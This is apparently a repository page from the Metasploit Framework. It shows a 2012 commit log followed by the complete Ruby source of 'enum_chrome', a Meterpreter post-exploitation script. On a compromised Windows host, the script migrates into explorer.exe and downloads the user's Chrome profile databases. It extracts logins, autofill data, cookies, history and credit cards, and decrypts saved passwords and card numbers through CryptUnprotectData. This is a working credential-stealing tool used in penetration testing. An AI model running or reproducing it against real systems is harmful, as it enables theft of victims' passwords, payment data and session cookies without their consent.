624e19fd8b
Squashed commit of the following: commit 2f4e8df33c5b4baa8d6fd67b400778a3f93482aa Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 16:31:03 2012 -0700 Clean up some rdoc comments This adds categories for the various interfaces that meterpreter and shell sessions implement so they are grouped logically in the docs. commit 9d31bc1b35845f7279148412f49bda56a39c9d9d Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 13:00:25 2012 -0700 Combine the docs into one output dir There's really no need to separate the API sections into their own directory. Combining them makes it much easier to read. commit eadd7fc136a9e7e4d9652d55dfb86e6f318332e0 Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 08:27:22 2012 -0700 Keep the order of iface attributes the same accross rubies 1.8 doesn't maintain insertion order for Hash keys like 1.9 does so we end up with ~random order for the display with the previous technique. Switch to an Array instead of a Hash so it's always the same. commit 6f66dd40f39959711f9bacbda99717253a375d21 Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 08:23:35 2012 -0700 Fix a few more compiler warnings commit f39cb536a80c5000a5b9ca1fec5902300ae4b440 Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 08:17:39 2012 -0700 Fix a type-safety warning commit 1e52785f38146515409da3724f858b9603d19454 Author: James Lee <egypt@metasploit.com> Date: Mon Feb 27 15:21:36 2012 -0700 LHOST should be OptAddress, not OptAddressRange commit acef978aa4233c7bd0b00ef63646eb4da5457f67 Author: James Lee <egypt@metasploit.com> Date: Sun Feb 26 17:45:59 2012 -0700 Fix a couple of warnings and a typo commit 29d87f88790aa1b3e5db6df650ecfb3fb93c675b Author: HD Moore <hdm@digitaloffense.net> Date: Mon Feb 27 11:54:29 2012 -0600 Fix ctype vs content_type typo commit 83b5400356c47dd1973e6be3aa343084dfd09c73 Author: Gregory Man <man.gregory@gmail.com> Date: Sun Feb 26 15:38:33 2012 +0200 Fixed scripts/meterpreter/enum_firefox to work with firefox > 3.6.x commit 49c2c80b347820d02348d694cc71f1b3028b4365 Author: Steve Tornio <swtornio@gmail.com> Date: Sun Feb 26 07:13:13 2012 -0600 add osvdb ref commit e18e1fe97b89c3a2b8c22bc6c18726853d2c2bee Author: Matt Andreko <mandreko@gmail.com> Date: Sat Feb 25 18:02:56 2012 -0500 Added aspx target to msfvenom. This in turn added it to msfencode as well. Ref: https://github.com/rapid7/metasploit-framework/pull/188 Tested on winxp with IIS in .net 1.1 and 2.0 modes commit e6aa5072112d79bbf8a4d2289cf8d301db3932f5 Author: Joshua J. Drake <github.jdrake@qoop.org> Date: Sat Feb 25 13:00:48 2012 -0600 Fixes #6308: Fall back to 127.0.0.1 when SocketError is raised from the resolver commitb3371e8bfeAuthor: James Lee <egypt@metasploit.com> Date: Tue Feb 28 17:07:42 2012 -0700 Simplify logic for whether an inner iface has the same address commit5417419f35Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 16:58:16 2012 -0700 Whitespace commit9036875c29Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 16:53:45 2012 -0700 Set session info before worrying about address get_interfaces can take a while on Linux, grab uid and hostname earlier so we can give the user an idea of what they popped as soon as possible. commitf34b51c629Author: James Lee <egypt@metasploit.com> Date: Tue Feb 28 16:48:42 2012 -0700 Clean up rdoc commite61a066345Author: HD Moore <hd_moore@rapid7.com> Date: Tue Feb 28 04:54:45 2012 -0600 Ensure the architecture is only the first word (not the full WOW64 message in some cases) commit4c70161097Author: HD Moore <hd_moore@rapid7.com> Date: Tue Feb 28 04:49:17 2012 -0600 More paranoia code, just in case RHOST is set to whitespace commitc5ff89fe3dAuthor: HD Moore <hd_moore@rapid7.com> Date: Tue Feb 28 04:47:01 2012 -0600 A few more small bug fixes to handle cases with an empty string target host resulting in a bad address commit462d0188a1Author: HD Moore <hd_moore@rapid7.com> Date: Tue Feb 28 03:55:10 2012 -0600 Fix up the logic (reversed by accident) commit2b2b0adaecAuthor: HD Moore <hd_moore@rapid7.com> Date: Mon Feb 27 23:29:52 2012 -0600 Automatically parse system information and populate the db, identify and report NAT when detected, show the real session_host in the sessions -l listing commit547a4ab4c6Author: HD Moore <hd_moore@rapid7.com> Date: Mon Feb 27 22:16:03 2012 -0600 Fix typo introduced commit27a7b7961eAuthor: HD Moore <hd_moore@rapid7.com> Date: Mon Feb 27 22:11:38 2012 -0600 More session.session_host tweaks commite447302a1aAuthor: HD Moore <hd_moore@rapid7.com> Date: Mon Feb 27 22:08:20 2012 -0600 Additional tunnel_peer changes commit93369fcffaAuthor: HD Moore <hd_moore@rapid7.com> Date: Mon Feb 27 22:06:21 2012 -0600 Additional changes to session.session_host commitc3552f66d1Author: HD Moore <hd_moore@rapid7.com> Date: Mon Feb 27 22:00:19 2012 -0600 Merge changes into the new branch
240 lines
7.6 KiB
Ruby
240 lines
7.6 KiB
Ruby
#$Id$
|
|
#$Revision$
|
|
#
|
|
# Script to extract data from a chrome installation.
|
|
#
|
|
# Author: Sven Taute <sven dot taute at gmail com>
|
|
#
|
|
|
|
require 'sqlite3'
|
|
require 'yaml'
|
|
|
|
if client.platform !~ /win32/
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|
|
@host_info = client.sys.config.sysinfo
|
|
@chrome_files = [
|
|
{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
|
|
{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
|
|
{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
|
|
{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
|
|
{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
|
|
{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
|
|
{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
|
|
{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
|
|
{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
|
|
{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
|
|
{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
|
|
]
|
|
@migrate = false
|
|
@old_pid = nil
|
|
@output_format = []
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "Help menu" ],
|
|
"-m" => [ false, "Migrate into explorer.exe"],
|
|
"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
|
|
)
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
when "-m"
|
|
@migrate = true
|
|
when "-f"
|
|
if val =~ /^j(son)?$/
|
|
@output_format << "json"
|
|
elsif val =~ /^y(aml)?$/
|
|
@output_format << "yaml"
|
|
elsif val =~ /^t(ext)?$/
|
|
@output_format << "text"
|
|
else
|
|
print_error("unknown format '#{val}'.")
|
|
raise Rex::Script::Completed
|
|
end
|
|
when "-h"
|
|
print_line("")
|
|
print_line("DESCRIPTION: Script for enumerating preferences and extracting")
|
|
print_line("information from the Google Chrome Browser on a target system.")
|
|
print_line("Decryption of creditcard information and passwords only supported")
|
|
print_line("on 32bit Windows Operating Systems.")
|
|
print_line("")
|
|
print_line("USAGE: run enum_chrome [-m]")
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
end
|
|
}
|
|
|
|
@output_format << "json" if @output_format.empty?
|
|
if @output_format.include?("json")
|
|
begin
|
|
require 'json'
|
|
rescue LoadError
|
|
print_error("JSON is not available.")
|
|
@output_format.delete("json")
|
|
if @output_format.empty?
|
|
print_status("Falling back to raw text output.")
|
|
@output_format << "text"
|
|
end
|
|
end
|
|
end
|
|
print_status("using output format(s): " + @output_format.join(", "))
|
|
|
|
def prepare_railgun
|
|
rg = client.railgun
|
|
if (!rg.get_dll('crypt32'))
|
|
rg.add_dll('crypt32')
|
|
end
|
|
|
|
if (!rg.crypt32.functions["CryptUnprotectData"])
|
|
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
|
|
["PBLOB","pDataIn", "in"],
|
|
["PWCHAR", "szDataDescr", "out"],
|
|
["PBLOB", "pOptionalEntropy", "in"],
|
|
["PDWORD", "pvReserved", "in"],
|
|
["PBLOB", "pPromptStruct", "in"],
|
|
["DWORD", "dwFlags", "in"],
|
|
["PBLOB", "pDataOut", "out"]
|
|
])
|
|
end
|
|
end
|
|
|
|
def decrypt_data(data)
|
|
rg = client.railgun
|
|
pid = client.sys.process.open.pid
|
|
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
|
|
mem = process.memory.allocate(1024)
|
|
process.memory.write(mem, data)
|
|
|
|
addr = [mem].pack("V")
|
|
len = [data.length].pack("V")
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
|
len, addr = ret["pDataOut"].unpack("V2")
|
|
return "" if len == 0
|
|
decrypted = process.memory.read(addr, len)
|
|
end
|
|
|
|
def write_output(file, rows)
|
|
if @output_format.include?("json")
|
|
::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
|
end
|
|
if @output_format.include?("yaml")
|
|
::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
|
end
|
|
if @output_format.include?("text")
|
|
::File.open(file + ".txt", "w") do |f|
|
|
f.write(rows.first.keys.join("\t") + "\n")
|
|
f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
|
|
end
|
|
end
|
|
end
|
|
|
|
def process_files(username)
|
|
@chrome_files.each do |item|
|
|
in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
|
|
out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
|
|
if item[:sql]
|
|
db = SQLite3::Database.new(in_file)
|
|
columns, *rows = db.execute2(item[:sql])
|
|
db.close
|
|
rows.map! do |row|
|
|
res = Hash[*columns.zip(row).flatten]
|
|
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
|
|
if @host_info['Architecture'] !~ /x64/
|
|
item[:encrypted_fields].each do |field|
|
|
print_good("decrypting field '#{field}'...")
|
|
res[field + "_decrypted"] = decrypt_data(res[field])
|
|
end
|
|
else
|
|
print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
|
|
end
|
|
end
|
|
res
|
|
end
|
|
if rows.length > 0
|
|
print_status("writing output '#{item[:out_file]}'...")
|
|
write_output(out_file, rows)
|
|
else
|
|
print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
|
|
end
|
|
else
|
|
::FileUtils.cp(in_file, out_file)
|
|
end
|
|
end
|
|
end
|
|
|
|
def extract_data(username)
|
|
chrome_path = @profiles_path + "\\" + username + @data_path
|
|
begin
|
|
client.fs.file.stat(chrome_path)
|
|
rescue
|
|
print_status("no files found for user '#{username}'")
|
|
return false
|
|
end
|
|
|
|
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
|
|
remote_path = chrome_path + '\\' + f
|
|
local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
|
|
print_status("downloading file #{f} to '#{local_path}'...")
|
|
client.fs.file.download_file(local_path, remote_path)
|
|
end
|
|
return true
|
|
end
|
|
|
|
if @migrate
|
|
current_pid = client.sys.process.open.pid
|
|
target_pid = client.sys.process["explorer.exe"]
|
|
if target_pid != current_pid
|
|
@old_pid = current_pid
|
|
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
|
|
client.core.migrate(target_pid)
|
|
print_status("done.")
|
|
end
|
|
end
|
|
|
|
host = session.session_host
|
|
@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
|
|
::FileUtils.mkdir_p(@log_dir)
|
|
|
|
sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%")
|
|
os = @host_info['OS']
|
|
if os =~ /(Windows 7|2008|Vista)/
|
|
@profiles_path = sysdrive + "\\Users\\"
|
|
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
|
elsif os =~ /(2000|NET|XP)/
|
|
@profiles_path = sysdrive + "\\Documents and Settings\\"
|
|
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
|
end
|
|
|
|
usernames = []
|
|
|
|
uid = client.sys.config.getuid
|
|
|
|
if is_system?
|
|
print_status "running as SYSTEM, extracting user list..."
|
|
print_status "(decryption of passwords and credit card numbers will not be possible)"
|
|
client.fs.dir.foreach(@profiles_path) do |u|
|
|
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
|
end
|
|
print_status "users found: #{usernames.join(", ")}"
|
|
else
|
|
print_status "running as user '#{uid}'..."
|
|
usernames << client.fs.file.expand_path("%USERNAME%")
|
|
prepare_railgun
|
|
end
|
|
|
|
usernames.each do |u|
|
|
print_status("extracting data for user '#{u}'...")
|
|
success = extract_data(u)
|
|
process_files(u) if success
|
|
end
|
|
|
|
if @migrate && @old_pid
|
|
print_status("migrating back into PID=#{@old_pid}...")
|
|
client.core.migrate(@old_pid)
|
|
print_status("done.")
|
|
end
|
|
|
|
raise Rex::Script::Completed
|